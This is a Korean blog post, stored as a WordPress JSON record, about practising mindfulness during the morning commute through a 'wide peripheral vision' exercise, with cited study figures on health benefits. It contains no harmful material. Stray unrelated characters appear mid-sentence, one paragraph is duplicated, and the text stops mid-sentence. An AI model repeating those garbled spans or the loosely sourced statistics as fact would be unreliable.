{"id":1971,"date":"2021-02-26T11:27:26","date_gmt":"2021-02-26T02:27:26","guid":{"rendered":"http:\/\/aligns.co.kr\/?p=1971"},"modified":"2021-10-12T12:55:51","modified_gmt":"2021-10-12T03:55:51","slug":"mind-6","status":"publish","type":"post","link":"https:\/\/aligns.co.kr\/mind-6\/","title":{"rendered":"\uba85\uc0c1, \uc544\uce68\ub9c8\ub2e4 \ud560 \uc218 \uc5c6\ub294 \uc774\ub4e4\uc5d0\uac8c \uc54c\ub824\uc8fc\ub294 \ud734\ub300\uc6a9 \uba85\uc0c1\ubc95"},"content":{"rendered":"\n<p>\uc2dc\uac04\uc774 \uc138\uc0c1\uc5d0\uc11c \uac00\uc7a5 \uc911\uc694\ud55c \uac83\uc774\ub77c\uba74 , \uc774\ub97c \ub0ad\ube44\ud558\ub294 \uac83\uc740 \uc2ec\uac01\ud55c \ubc29\ud0d5\uc758 \ud589\uc704\uc77c \uac83\uc774\ub2e4 . &#8211; \ubca4\uc790\ubbfc \ud504\ub7ad\ud074\ub9b0<\/p>\n\n\n\n<p>\uc5ec\ub7ec\ubd84\uc758 \ucd9c\ud1f4\uadfc\uae38\uc774 \uaf2d \ud558\ub8e8\uc5d0 \uac00\uc7a5 \uc9c0\ub8e8\ud558\uace0\ub3c4 \uc9dc\uc99d\ub098\ub294 \uc77c\uacfc\uac00 \ub420 \ud544\uc694\ub294 \uc5c6\uc2b5\ub2c8\ub2e4 . \ubc18\ub300\ub85c , \ub9c8\uc74c\ub9cc \uba39\ub294\ub2e4\uba74 \uc774 \uc2dc\uac04\ub4e4\uc744 \uac00\uc7a5 \uc0dd\uc0b0\uc801\uc774\uace0\ub3c4 \uc990\uac70\uc6b4 \uc2dc\uac04\uc73c\ub85c \ub9cc\ub4e4 \uc218 \uc788\ub2e4\uba74 \uc5b4\ub5a8\uae4c\uc694 ? \ucd9c\uadfc\ud558\ub294 \uc544\uce68 \uc2dc\uac04\uc744 \uc0ac\ud615 \uc120\uace0\uc640 \uac19\uc774 \uc0dd\uac01\ud558\ub294 \ud0dc\ub3c4\ub97c \ubc84\ub9ac\uace0 \uc0c8\ub85c\uc6b4 \uae30\ud68c\ub85c \ubcf8\ub2e4\uba74 \ucda9\ubd84\ud788 \uac00\ub2a5\ud55c \uc77c\uc778\ub370 \ub9d0\uc774\uc8e0. \uc544\ubb34\uac83\ub3c4 \ud558\uc9c0 \uc54a\uace0 \uadf8\ub0e5 \ud758\ub824 \ubcf4\ub0b4\ub294 \uc8fd\uc740 \uc2dc\uac04\uc744 \ud559\uc2b5\uacfc , \uc131\uc7a5 \uadf8\ub9ac\uace0 \ub9c8\uc74c\uc744 \ub2e4\uc2a4\ub9ac\ub294 , \uc0b4\uc544\uc788\ub294 \uc2dc\uac04\uc73c\ub85c \ubcc0\ud654\uc2dc\ud0a4\ub294 \uac83\uc740 \uc624\ub86f\uc774 \uc5ec\ub7ec\ubd84\uc758 \uc120\ud0dd\uc785\ub2c8\ub2e4 . \uc8fd\uc740 \uc2dc\uac04 vs \uc0b4\uc544\uc788\ub294 \uc2dc\uac04 . \uc544\uc8fc \uac04\ub2e8\ud55c \ucc28\uc774\uc810\uc785\ub2c8\ub2e4 . \uadf8\ub9ac\uace0 \uc6b0\ub9ac\ub294 \ub298 \ud6c4\uc790\ub97c \ud0dd\ud560 \uac83\uc774\uace0\uc694.<\/p>\n\n\n\n<p>\uc774 \ubb34\ub8cc\ud558\uace0 \uace0\ud1b5\uc2a4\ub7ec\uc6b4 \uc2dc\uac04\uc5d0 \uc228\uc744 \ubd88\uc5b4\ub123\ub294 \uc77c\uc740 \ub450 \uac00\uc9c0 \ub2e8\uacc4\ub85c \uac78\uccd0 \ud574\ub0bc \uc218 \uc788\uc2b5\ub2c8\ub2e4. \uba3c\uc800 \uc6b0\ub9ac\uc758 \ub9c8\uc74c\uc744 \ucda9\ubd84\ud788 \uc900\ube44\uc2dc\ud0a8 \ud6c4 \ud65c\uc9dd \uc5ec\ub294 \uac83 , \uadf8\ub9ac\uace0 \ub450 \ubc88\uc9f8\ub294 \uc774 \uc5f4\ub9b0 \ub9c8\uc74c\uc744 \ucc44\uc6b0\ub294 \uac83\uc774\uc8e0 . \uadf8\ub9ac\uace0 \uc800\ub294 \uc774\uac83\uc744 \ub9c8\uc74c \ucc59\uae40 (mindfulness) \ub77c\uace0 \ubd80\ub985\ub2c8\ub2e4 .<\/p>\n\n\n\n<p>\ub9c8\uc74c \ucc59\uae40\uc774\ub77c\ub294 \ud45c\ud604\uc744 \uc5b4\ub514\uc120\uac00 \ud55c\ubc88\ucbe4\uc740 \ub4e4\uc5b4 \ubcf4\uc168\uc744 \uc218\ub3c4 \uc788\uaca0\uc9c0\ub9cc \uc544\ub9c8 \uc774\uac8c \uc815\ud655\ud558\uac8c \ubb34\uc5c7\uc744 \ub73b\ud558\ub294 \uc9c0\ub294 \uc798 \ubaa8\ub974\uc2e4 \uc218 \uc788\uc2b5\ub2c8\ub2e4 . \ub9ce\uc740 \uc720\uba85\uc778\uc0ac\ub4e4\uacfc \ubc31\ub9cc\uc7a5\uc790\ub4e4\uc774 \uac01\uc885 \ubc29\uc1a1 \ub610\ub294 \ud31f\ucf00\uc2a4\ud2b8\uc5d0 \ucd9c\uc5f0\ud558\uc5ec \uc77c\ubc18\uc778\ub4e4\uc5d0\uac8c\ub294 \ub3c4\ud1b5 \uacf5\uac10\uc774 \uac00\uc9c0 \uc54a\ub294 \uc790\uc2e0\ub4e4\uc758 \uc131\uacf5\ub2f4 \ub610\ub294 \uacfc\uac70 \uc774\uc57c\uae30\ub97c \ub5a0\ub4e4\ub2e4\uac00 \uc6b0\ub9ac\uc5d0\uac8c \uad50\ud6c8\uc744 \uc804\ud55c\ub2e4\uace0 \uac00\ub054 \uc0ac\uc6a9\ud55c \ub2e8\uc5b4\uac00 \uc774 \ub2e8\uc5b4\uc600\uc744 \uac00\ub2a5\uc131\uc774 \uaf64 \ub192\uc8e0 . \uadf8\ub7ec\ub2c8 \uc5ec\ub7ec\ubd84 \uc911 \uc77c\ubd80\ub294 \ud31f\ucf00\uc2a4\ud2b8\ub97c \ub044\uace0 \ub09c \ub4a4\uc5d0 \uc544\ub9c8\ub3c4 \ub9c8\uc74c \ucc59\uae40\uc774\ub780 \ub2a5\uc219\ud55c \uc804\ubb38\uac00\ub4e4 \ud639\uc740 \uc5c4\uccad\ub098\uac8c \ubd80\uc790\uc774\uace0 \uc131\uacf5\ud55c \uc774\ub4e4\uc5d0\uac8c\ub098 \ud544\uc694\ud55c \uac83\uc774\uad6c\ub098 \ub77c\ub294 \uc0dd\uac01\uc774 \ub4e4\uc9c0 \uc54a\uc558\uc744\uae4c \ud569\ub2c8\ub2e4 . \ub610\ud55c , \ub9c8\uc74c \ucc59\uae40\uc774\ub77c\ub294 \ud45c\ud604 \uc790\uccb4\uac00 \ubb54\uac00 \uc5b4\uc0c9\ud558\uace0 \uac70\ubd81\uc2a4\ub7fd\uac8c \ub290\uaef4\uc9c0\ub294 \ubd84\ub4e4\ub3c4 \uc788\uc744 \uac70\ub77c \uc0dd\uac01\uc774 \ub4dc\ub124\uc694.<\/p>\n\n\n\n<p>\ud558\uc9c0\ub9cc \uc544\ubb34\ub9ac \uc774 \ub9c8\uc74c \ucc59\uae40\uc774 \uc694\uc998 \ud56b\ud55c \uc8fc\uc81c\ub85c \ub5a0\uc624\ub974\ub294 \uac83\uc774\ub77c \ud558\ub354\ub77c\ub3c4 , \uadf8\ub9ac\uace0 \ub9ce\uc740 \uc804\ubb38\uac00\ub4e4\uc774 \uc774\ub97c \uc6b0\ub9ac \uc778\uac04\uc758 \uac71\uc815 , \uc9d1\uc911\ub825 \uc800\ud558 , \uc678\ub85c\uc6c0 , \uacf5\uac10 \uacb0\uc5ec , \ub0a8\uc131 \ud0c8\ubaa8 , \uae30\uadfc ( \ub124\ub124 , \uc81c\uac00 \ub108\ubb34 \ud765\ubd84\ud588\ub124\uc694 .) \uac01\uc885 \uc138\uacc4\uc801 \ubb38\uc81c\ub4e4\uc758 \uae30\uc801\uacfc\ub3c4 \uac19\uc740 \ud574\uacb0\ubc95\uc778 \ub9c8\ub0e5 \ub5a0\ub4e0\ub2e4\uace0 \ud558\ub354\ub77c\ub3c4 , \uc2e4\uc81c\ub85c \ub9c8\uc74c \ucc59\uae40\uc758 \uac00\uc7a5 \uadfc\ubcf8\ubd80\ud130 \ub4e4\uc5ec\ub2e4\ubcf4\uba74 \uc774\uac8c \uadf8\ub807\uac8c \ubcf5\uc7a1\ud55c \uac1c\ub150\uc774 \uc544\ub2c8\ub77c\ub294 \uac83\uc774 \ubc14\ub85c \uc9c4\uc2e4\uc785\ub2c8\ub2e4 .<\/p>\n\n\n\n<p>\ub9c8\uc74c \ucc59\uae40\uc740 \ubc14\ub85c \ud604\uc7ac\uc758 \uc21c\uac04\uc744 \uc778\uc2dd\ud558\uace0 \uac70\uae30\uc5d0 \uc9d1\uc911\ud558\ub294 \ud589\uc704\uc785\ub2c8\ub2e4 . \uc815\ub9d0 \uadf8\uac8c \ub2e4\uc774\uc8e0 . \uc5ec\ub7ec\ubd84 \uc8fc\ubcc0\uc758 \uc0b6 \uc18d \uac10\uac01\uc5d0\ub9cc \uc9d1\uc911\ud558\ub294 \ud589\uc704\uc774\uba70 \uc5ec\uae30 , \ubc14\ub85c \uc9c0\uae08 \uc774 \uc21c\uac04\uc744 \uaca8\ub0e5\ud55c \uc544\uc8fc \ud604\uc2e4\uc801\uc774\uace0 \uc9c4\uc9c0\ud55c , \uc9c0\uc18d\uc801\uc778 \ucd08\uc810\uc774\ub77c\uace0 \ubcfc \uc218 \uc788\uc2b5\ub2c8\ub2e4 . \uc138\uc0c1 \uc8fc\ubcc0\uc5d0 \ub3cc\uc544\uac00\ub294 \uc77c\ub4e4\uacfc\ub294 \uc77c\uacfc\ub294 \uad00\uacc4\uc5c6\uc774 \ub9d0\uc774\uc8e0 . \uc5ec\ub7ec\ubd84 \uc8fc\uc704\ub97c \uc704\ud611\uc801\uc73c\ub85c \ub2ec\ub9ac\ub294 \ud5d8\uc545\ud55c \ud2b8\ub7ed \uc6b4\uc804\uc218\ub4e4 , \ubbf8\uc5b4\ud130\uc9c0\ub294 \ucc28\uc120 , \uc9c1\uc7a5\uc5d0\uc11c \uc2ac\uae08\uc2ac\uae08 \uc62c\ub77c\uc624\ub294 \uc2a4\ud2b8\ub808\uc2a4 . \uc774 \ubaa8\ub4e0 \uac83\ub4e4\uc740 \uc9d1\uc911\uc758 \ub300\uc0c1\uc774 \uc544\ub2d9\ub2c8\ub2e4 .<\/p>\n\n\n\n<p>\uc774\ub7f0 \uac1c\ub150\uc73c\ub85c \ubcf4\uc558\uc744 \ub54c \ub9c8\uc74c \ucc59\uae40\uc740 \ubb34\uc758 \uc0c1\ud0dc \u759d \uc911 \ud558\ub098\ub85c \ubcfc \uc218 \uc788\uc2b5\ub2c8\ub2e4 . \uc5ec\ub7ec\ubd84\uc758 \uc740\ud589 \uc794\uace0 , \uc695\uc2ec , \ub450\ub824\uc6c0 , \ud6c4\ud68c \uadf8 \uc5b4\ub5a4 \uac83\ub3c4 \ube44\uc9d1\uace0 \ub4e4\uc5b4\uac08 \uc218 \uc5c6\uc8e0 . \uadf8\ub7ec\ub098 \uc774\uc640 \ub3d9\uc2dc\uc5d0 \ub9c8\uc74c \ucc59\uae40\uc740 \ubaa8\ub4e0 \uac83 \uc73c\ub85c \uac04\uc8fc\ub420 \uc218\ub3c4 \uc788\uc2b5\ub2c8\ub2e4 . \uc5ec\ub7ec\ubd84\uc5d0 \uc758\ud55c , \uc5ec\ub7ec\ubd84\uc744 \uc704\ud55c \ubaa8\ub4e0 \uac83 , \uadf8\ub9ac\uace0 \uc5ec\ub7ec\ubd84\uc774 \uc788\ub294 \ubc14\ub85c \uc9c0\uae08\uc774\uc8e0.<\/p>\n\n\n\n<p>\uae30\uad34\ud558\uac8c \ub4e4\ub9b0\ub2e4\uace0\uc694 ? \uc880 \ub354 \uad6c\uccb4\uc801\uc73c\ub85c \ub9d0\uc500\ub4dc\ub9ac\uc8e0 . \ud5a5\ud6c4 \uc5ec\ub7ec\ubd84\uc774 \ubb34\uc5b8\uac00\ub97c \ud558\uace0 \uc788\ub294 \ub3c4\uc911 \ub2e4\ub978 \uac83\uc5d0 \uc9d1\uc911\ud558\ub294 \uc2a4\uc2a4\ub85c\ub97c \ubc1c\uacac\ud558\uc600\ub2e4\uba74 , \uadf8 \uc21c\uac04\uc774 \ubc14\ub85c \uc5ec\ub7ec\ubd84\uc758 \uc9d1\uc911\uc774 \ud769\uc5b4\uc84c\ub2e4\ub294 \uac78 \uc758\ubbf8\ud569\ub2c8\ub2e4 . \ud55c \ub9c8\ub514\ub85c \ub9c8\uc74c\uc774 \ud55c\ub370 \ubaa8\uc544\uc9c0\uc9c0 \uc54a\uc740 \uac83\uc774\uc8e0 . \uc774\ub7f0 \uacbd\ud5d8\uc774 \uc0dd\uac01\ubcf4\ub2e4 \ub9ce\uc744 \uac81\ub2c8\ub2e4 . \ub9c8\uc74c \ucc59\uae40\uc744 \uc5f0\uc2b5\ud558\ub294 \uac83\uc774 \uc911\uc694\ud55c \uc774\uc720\uac00 \ubc14\ub85c \uc5ec\uae30\uc5d0 \uc788\uc8e0 . \uc81c\ub300\ub85c \uc775\ud600 \ub450\uba74 \uc774 \ud589\uc704\ub294 \uc5ec\ub7ec\ubd84\uc744 \ud604\uc2e4 \uc21c\uac04\uc5d0 \ub3c4\ub85c \ub370\ub824\ub2e4 \ub193\uc544\uc904 \uac81\ub2c8\ub2e4 .<\/p>\n\n\n\n<p>\ud558\uc9c0\ub9cc \uc774\ub807\uac8c \uba85\uc0c1\uc744 \ud55c\ub2e4\ub294 \uac74 \uc0dd\uac01\ubcf4\ub2e4 \uaf64 \ud1b5\uc81c\ub41c \uc8fc\ubcc0 \ud658\uacbd\uacfc \uc870\uac74\uc744 \uc694\uad6c\ud569\ub2c8\ub2e4 . \uc2dc\uac04\uc740 \ubb3c\ub860\uc774\uace0 , \uac00\ub9cc\ud788 \uc624\ub798 \uc549\uc544\uc788\uc5b4\ub3c4 \uc798 \ubc84\ud2f8 \uc218 \uc788\ub294 \uc2e0\uccb4\uc870\uac74 , \uc870\uc6a9\ud55c \ud658\uacbd , \uc740\uc740\ud55c \uc870\uba85 , \uc5ec\ub7ec\ubd84\uc774 \uc88b\uc544\ud558\ub294 \ud5a5\ub3c4 \ud53c\uc6b0\uba74 \ub354\ub354\uc6b1 \uc88b\uc8e0 . \uadf8\ub807\uc9c0\ub9cc \uc2e4\uc81c \uc0b6\uc5d0\uc11c\ub294 \uadf8\uac78 \ub9e4\ubc88 \uac16\ucd94\uae30\uac00 \uc5b4\ub835\uc2b5\ub2c8\ub2e4 . \ubc14\uc05c \uc2a4\ucf00\uc904\uc5d0\uc11c \ud55c \uc2dc\uac04\uc774\ub77c\ub3c4 \ub0bc \uc218 \uc788\uc73c\uba74 \uadf8\ub098\ub9c8 \ub2e4\ud589\uc774\uaca0\uc8e0.<\/p>\n\n\n\n<p>\ub9c8\ube14 \ud788\uc5b4\ub85c\uc778 \ub2e5\ud130 \uc2a4\ud2b8\ub808\uc778\uc9c0\ucc98\ub7fc \ub9c8\uc220\uc0ac \uac19\uc740 \uc0b6\uc744 \uc0ac\ub294 \uac74 \ubd84\uba85 \uba4b\uc838 \ubcf4\uc774\uae34 \ud558\uc9c0\ub9cc \uc0ac\uc2e4 \uc77c\uc0c1\uc5d0\uc11c\ub294 \ub9c9\uc0c1 \uc6b0\ub9ac\uac00 \uac00\uc7a5 \ub9c8\uc74c \ucc59\uae40\uc744 \ud544\uc694\ub85c \ud560 \ub54c \uadf8\uac78 \ubc14\ub85c \uc2e4\ucc9c\uc73c\ub85c \uc62e\uae38 \uc218 \uc788\ub294 \uc644\ubcbd\ud55c \ud658\uacbd \uc870\uac74\uc744 \uac16\ucd94\uae30\uac00 \uc27d\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub9ce\uc740 \ucc38\uc120 \ub9c8\uc2a4\ud130\ub4e4 , \uadf8\ub9ac\uace0 \uc720\uba85\ud55c \uc791\uac00 \ud1b0 \ube0c\ub77c\uc6b4\uc740 \ubaa8\ub450 \uc774 \uc0ac\uc2e4\uc744 \uae68\ub2ec\uc558\uc8e0 . \ud604\ub300 \uc0ac\ud68c \uc18d \uc6b0\ub9ac\ub294 \uc774\uc81c \uc6b0\ub9ac\uac00 \uc5b4\ub514\uc5d0 \uc788\ub358\uc9c0 , \uc5b8\uc81c\ub4e0 \ucc59\uaca8 \uac08 \uc218 \uc788\ub294 , \ub9d0 \uadf8\ub300\ub85c \ud734\ub300\uc6a9 \ubc84\uc804\uc758 \ub9c8\uc74c \ucc59\uae40\uc774 \ud544\uc694\ud569\ub2c8\ub2e4 . \uadf8\ub798\uc11c \ud1b0\uc740 \uc81c\uac00 \ubc14\ub85c \u201c\ub113\uc740 \uc8fc\ubcc0 \uc2dc\uc120\uc6b4\ub3d9\u201d \uc774\ub77c\uace0 \ubd80\ub974\ub294 \uc774 \ubc29\ubc95\uc744 \uace0\uc548\ud574 \ub0b4\uc5c8\uc8e0 .<\/p>\n\n\n\n<p><strong>\u25a1 <\/strong><strong>\ub113\uc740 \uc8fc\ubcc0 \uc2dc\uc120 \uc6b4\ub3d9<\/strong><\/p>\n\n\n\n<p>\uc5bc\uad74\uc758 \ub2e4\ub978 \uadfc\uc721\uc744 \uc774\uc6a9\ud558\uc9c0 \uc54a\uc740 \uc0c1\ud0dc\ub85c \ub208\uc744 \uac00\ub2a5\ud55c \ud06c\uac8c \ub728\uc138\uc694.<\/p>\n\n\n\n<p>\ucd08\uc810\uc740 \uc5ec\ub7ec\ubd84 \uc2dc\uc120\uc758 \uc815\uc911\uc559\uc5d0 \ub9de\ucd98 \ucc44 \ubab8\uc740 \ud3b8\uc548\ud788 \ub450\uc2dc\ub294 \uac81\ub2c8\ub2e4 . \uadf8\ub9ac\uace0 \uc5ec\ub7ec\ubd84\uc758 \ub9c8\uc74c\ub9cc\uc744 \uc774\uc6a9\ud574\uc11c \ucd08\uc810\uc744 \ub9de\ucd98 \uc2dc\uc120 \uc8fc\ubcc0\uc5d0 \uc77c\uc5b4\ub098\ub294 \ubaa8\ub4e0 \uc77c\ub4e4\uc744 \uc778\uc2dd\ud558\ub824 \ud574\ubcf4\uc138\uc694.<\/p>\n\n\n\n<p>\uc704 , \uc544\ub798 , \uc67c\ucabd , \uc624\ub978\ucabd . \ucd08\uc810\uc744 \uc911\uc2ec\uc5d0 \ub9de\ucd98 \uc0c1\ud0dc\ub77c \uc798 \uc548\ubcf4\uc774\uace0 \uc644\ubcbd\ud558\uac8c \uc778\uc2dd\ud558\uae30 \uc5b4\ub824\uc6b8 \uc218\ub294 \uc788\uc9c0\ub9cc \uad1c\ucc2e\uc2b5\ub2c8\ub2e4 . \uadf8 \ub2e4\uc74c\uc5d0\ub294 , \uc5ec\uc804\ud788 \uadf8 \uc5b4\ub5a4 \uac83\uc5d0\ub3c4 \uc9d1\uc911\uc744 \ud558\uc9c0 \uc54a\uc740 \uc0c1\ud0dc \uadf8\ub300\ub85c \ud604\uc7ac \ub3cc\uc544\uac00\ub294 \ubaa8\ub4e0 \uc0c1\ud669\uc744 \uc778\uc2dd\ud558\ub824\uace0 \ud574\ubcf4\uc138\uc694 . \ubc14\ub78c\uc5d0 \ub098\ubd80\ub07c\ub294 \uc78e , \uac78\uc5b4 \ub2e4\ub2c8\ub294 \uc0ac\ub78c\ub4e4 , \ub0a0\uc544\uac00\ub294 \uc0c8 , \uc785\uace0 \uc788\ub294 \uc637\uc5d0 \uc7a1\ud78c \uc8fc\ub984 , \ubaa8\ub4e0 \uac83\uc744 \ubcf4\ub418 \uadf8 \uc5b4\ub290 \uac83\uc5d0\ub3c4 \uc9d1\uc911\uc744 \ud558\uc9c0\ub294 \ub9c8\uc138\uc694 . \uc5b4\ub5a4 \uc0c1\ud669 \ub610\ub294 \uc21c\uac04\uc774\ub4e0 \uac01\uae30 \ub2e4\ub978 \ub290\ub08c\uc744 \ubcf4\uc720\ud558\uace0 \uc788\uc73c\uba70 \uacc4\uc18d\ud574\uc11c \ubcc0\ud654\ud558\uace0 \uc788\uc2b5\ub2c8\ub2e4 . \uaf2d \uc0b6\uacfc \ub611\uac19\uc774\uc694 . \ubc30\ub85c \ud638\ud761\uc744 \ud574\ubcf4\uc138\uc694 . \uadf8\ub9ac\uace0 \uacc4\uc18d\ud574\uc11c \uc8fc\ubcc0\uc5d0 \uc77c\uc5b4\ub098\uace0 \uc788\ub294 \ubaa8\ub4e0 \uac83\ub4e4\uc5d0 \ub9c8\uc74c\uc744 \uc5f0 \ucc44 \uc778\uc2dd\ud558\ub824 \ub178\ub825\ud574\ubcf4\ub294 \uac81\ub2c8\ub2e4 . \uadf8 \uc5b4\ub5a4 \uac83\ub3c4 \uc9c0\ub098\uce58\uc9c0 \ub9d0\ub418 , \uadf8 \uc5b4\ub5a4 \uac83\uc5d0\ub3c4 \ud3ec\ucee4\uc2a4\ub97c \ub450\uc9c0 \uc54a\uc740 \ucc44\ub85c \ub3d9\uc2dc\uc5d0 \uc8fc\ubcc0 \ubaa8\ub4e0 \uac83\uc5d0 \uad00\ucc30\uc790\uac00 \ub418\uc138\uc694.<\/p>\n\n\n\n<p>\uc704 , \uc544\ub798 , \uc67c\ucabd , \uc624\ub978\ucabd . \ucd08\uc810\uc744 \uc911\uc2ec\uc5d0 \ub9de\ucd98 \uc0c1\ud0dc\ub77c \uc798 \uc548\ubcf4\uc774\uace0 \uc644\ubcbd\ud558\uac8c \uc778\uc2dd\ud558\uae30 \uc5b4\ub824\uc6b8 \uc218\ub294 \uc788\uc9c0\ub9cc \uad1c\ucc2e\uc2b5\ub2c8\ub2e4 . \uadf8 \ub2e4\uc74c\uc5d0\ub294 , \uc5ec\uc804\ud788 \uadf8 \uc5b4\ub5a4 \uac83\uc5d0\ub3c4 \uc9d1\uc911\uc744 \ud558\uc9c0 \uc54a\uc740 \uc0c1\ud0dc \uadf8\ub300\ub85c \ud604\uc7ac \ub3cc\uc544\uac00\ub294 \ubaa8\ub4e0 \uc0c1\ud669\uc744 \uc778\uc2dd\ud558\ub824\uace0 \ud574\ubcf4\uc138\uc694 . \ubc14\ub78c\uc5d0 \ub098\ubd80\ub07c\ub294 \uc78e , \uac78\uc5b4 \ub2e4\ub2c8\ub294 \uc0ac\ub78c\ub4e4 , \ub0a0\uc544\uac00\ub294 \uc0c8 , \uc785\uace0 \uc788\ub294 \uc637\uc5d0 \uc7a1\ud78c \uc8fc\ub984 , \ubaa8\ub4e0 \uac83\uc744 \ubcf4\ub418 \uadf8 \uc5b4\ub290 \uac83\uc5d0\ub3c4 \uc9d1\uc911\uc744 \ud558\uc9c0\ub294 \ub9c8\uc138\uc694 . \uc5b4\ub5a4 \uc0c1\ud669 \ub610\ub294 \uc21c\uac04\uc774\ub4e0 \uac01\uae30 \ub2e4\ub978 \ub290\ub08c\uc744 \ubcf4\uc720\ud558\uace0 \uc788\uc73c\uba70 \uacc4\uc18d\ud574\uc11c \ubcc0\ud654\ud558\uace0 \uc788\uc2b5\ub2c8\ub2e4. \uaf2d \uc0b6\uacfc \ub611\uac19\uc774\uc694 . \ubc30\ub85c \ud638\ud761\uc744 \ud574\ubcf4\uc138\uc694 . \uadf8\ub9ac\uace0 \uacc4\uc18d\ud574\uc11c \uc8fc\ubcc0\uc5d0 \uc77c\uc5b4\ub098\uace0 \uc788\ub294 \ubaa8\ub4e0 \uac83\ub4e4\uc5d0 \ub9c8\uc74c\uc744 \uc5f0 \ucc44 \uc778\uc2dd\ud558\ub824 \ub178\ub825\ud574\ubcf4\ub294 \uac81\ub2c8\ub2e4 . \uadf8 \uc5b4\ub5a4 \uac83\ub3c4 \uc9c0\ub098\uce58\uc9c0 \ub9d0\ub418 , \uadf8 \uc5b4\ub5a4 \uac83\uc5d0\ub3c4 \ud3ec\ucee4\uc2a4\ub97c \ub450\uc9c0 \uc54a\uc740 \ucc44\ub85c \ub3d9\uc2dc\uc5d0 \uc8fc\ubcc0 \ubaa8\ub4e0 \uac83\uc5d0 \uad00\ucc30\uc790\uac00 \ub418\uc138\uc694.<\/p>\n\n\n\n<p>\uc57d 17,000 \uac74\uc774 \ub118\ub294 \uc758\ub8cc \uae30\ub85d\uc744 \ud1a0\ub300\ub85c \ud55c \uc5f0\uad6c \uacb0\uacfc\uc5d0\uc11c\ub294 \uc774\ub7f0 \ub9c8\uc74c \ucc59\uae40\uc744 \uafb8\uc900\ud788 \uc2e4\ucc9c\ud558\ub294 \uc0ac\ub78c\ub4e4\uc758 \uacbd\uc6b0 , \uadf8\ub807\uc9c0 \uc54a\uc740 \uc774\ub4e4\ubcf4\ub2e4 \uac01\uc885 \uc9c8\ud658\uc5d0 \ub300\ud55c \ubcd1\uc6d0 \uce58\ub8cc\ub97c \ubc1b\uac8c \ub420 \uac00\ub2a5\uc131\uc774 43 \ud37c\uc13c\ud2b8 \uc774\uc0c1 \ub0ae\uac8c \ub098\uc654\ub2e4\uace0 \ud569\ub2c8\ub2e4 . \ub610\ud55c 1,140 \uba85\uc758 \ucc38\uac00\uc790\ub85c \uc57d 39 \ubc88\uc5d0 \uac78\uce5c \uc2e4\ud5d8\uc5d0 \ub300\ud55c \uba54\ud0c0 \ubd84\uc11d\uc5d0\uc11c\ub294 \uc774 \ucc38\uac00\uc790\ub4e4\uc774 \ub2e4\uc591\ud55c \uc2ec\ub9ac \uc0c1\ud0dc , \ud2b9\ud788 \uc6b0\uc6b8\uc99d\uc774\ub098 \ubd88\uc548 \uc0c1\ud0dc\uc5d0 \uc788\uc5b4 \ub9c8\uc74c \ucc59\uae40\uc744 \ud1b5\ud574 \uad49\uc7a5\ud788 \u7523 \uac15\ub825\ud55c \u759d \ud6a8\uacfc\ub97c \ubcf8 \uac83\uc774 \ud655\uc778\ub418\uc5c8\uc2b5\ub2c8\ub2e4 .<\/p>\n\n\n\n<p>\uc81c\uac00 \ub9d0\uc500\ub4dc\ub9ac\uace0 \uc788\ub294 \uc774 \ub9c8\uc74c \ucc59\uae40\uc5d0 \ub300\ud55c \uac15\uc810 \uc911 \ud558\ub098\uac00 \ubc14\ub85c \uc5ec\ub7ec\ubd84\uc758 \uadf8 \ucd9c\uadfc\uae38\uc5d0\uc11c\ub3c4 \uc5f0\uc2b5\uc744 \ud560 \uc218 \uc788\ub2e4\ub294 \ubd80\ubd84\uc785\ub2c8\ub2e4 . \uc5ec\ub7ec\ubd84\uc774 \uae38\ubc14\ub2e5\uc5d0 \uac70\uc758 \ubc84\ub9ac\ub2e4\uc2dc\ud53c \ubcf4\ub0b4\ub294 \uadf8 \uc2dc\uac04\uc5d0 \ub9d0\uc774\uc8e0 . \uc774\uac74 \uc8fd\uc740 \uc2dc\uac04\uc744 \uc0b4\uc544\uc788\ub294 \uc2dc\uac04\uc73c\ub85c \ubc14\uafc0 \uc218 \uc788\ub294 \uc544\uc8fc \uc88b\uc740 \uae30\ud68c\uac00 \ub420 \uc218 \uc788\ub2e4\ub294 \uac81\ub2c8\ub2e4. \ub9e4\uc77c \uc544\uce68 \uc624\uc2a4\ud2f4\uc5d0 \uc704\uce58\ud55c \uc81c \uc9d1\uc5d0\uc11c aligns \uc0ac\ubb34\uc2e4\ub85c \ucd9c\uadfc\ud558\ub294 \ub370\uc5d0\ub294 \uc57d 20 \ubd84 \uc815\ub3c4\uac00 \uc18c\uc694\ub429\ub2c8\ub2e4 . ( \ub124 , \uc800\ub3c4 \ub611\uac19\uc774 \ucd9c\uadfc\uc774\ub77c\ub294 \uac83\uc744 \ud569\ub2c8\ub2e4 !) \uc608\uc804\uae4c\uc9c0\ub9cc \ud574\ub3c4 \uc800\ub294 \ucd9c\uadfc\uae38\uc5d0 \ucc28\ub7c9 \ub77c\ub514\uc624\ub97c \ub300\ucda9 \ud2c0\uc5b4 \ub193\uc740 \ucc44 \ub9e4 \uc2e0\ud638\ub9c8\ub2e4 \uc778\uc2a4\ud0c0\uadf8\ub7a8\uc774\ub098 \uc774\uba54\uc77c\uc744 \ud655\uc778\ud558\uace4 \ud588\uc8e0. \uc9c1\uc7a5\uc5d0 \ub3c4\ucc29\ud560 \ub54c \ucbe4\uc774\uba74 \uc81c \uc815\uc2e0\uc740 \uba4d\ud558\uace0 \uc2e0\uacbd\uc740 \uc804\uc120\uc5d0 \uc62c\ub77c\uac00 \uc788\ub294 \uc0ac\ub78c \ub9c8\ub0e5 \uc608\ubbfc\ud558\uace0 \ub0a0\uce74\ub85c\uc6cc\uc838 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ud558\uc9c0\ub9cc \uc9c0\uae08 \uc800\ub294 \ub9e4\uc77c \uc544\uce68\uc5d0 \ubcf4\ub0b4\ub294 \uc2dc\uac04\uc758 \uc8fc\ub3c4\uad8c\uc744 \uac16\uae30 \uc704\ud574 \ub178\ub825\ud569\ub2c8\ub2e4 . \ub298 \uadf8 \uc2dc\uac04\uc5d0 \uc9d1\uc911\ud558\uba70 \uc81c\ub300\ub85c \ubcf4\ub0b4\uace0\uc790 \ud558\ub294 \uac83\uc774\uc8e0 . \ubb3c\ub860 \uc774\ub7ec\ud55c \ub178\ub825\ub4e4\uc740 \uc5ec\ub7ec \uac00\uc9c0 \uc0c1\ud669\uc5d0 \ub530\ub77c \ub2e4\ub978 \ud615\ud0dc\ub97c \ucde8\ud560 \uc218\ub294 \uc788\uc9c0\ub9cc \ub300\ubd80\ubd84\uc740 \uc81c \ud638\ud761\uc5d0 \uc9d1\uc911\ud558\uace0 \uc81c \ubab8\uacfc 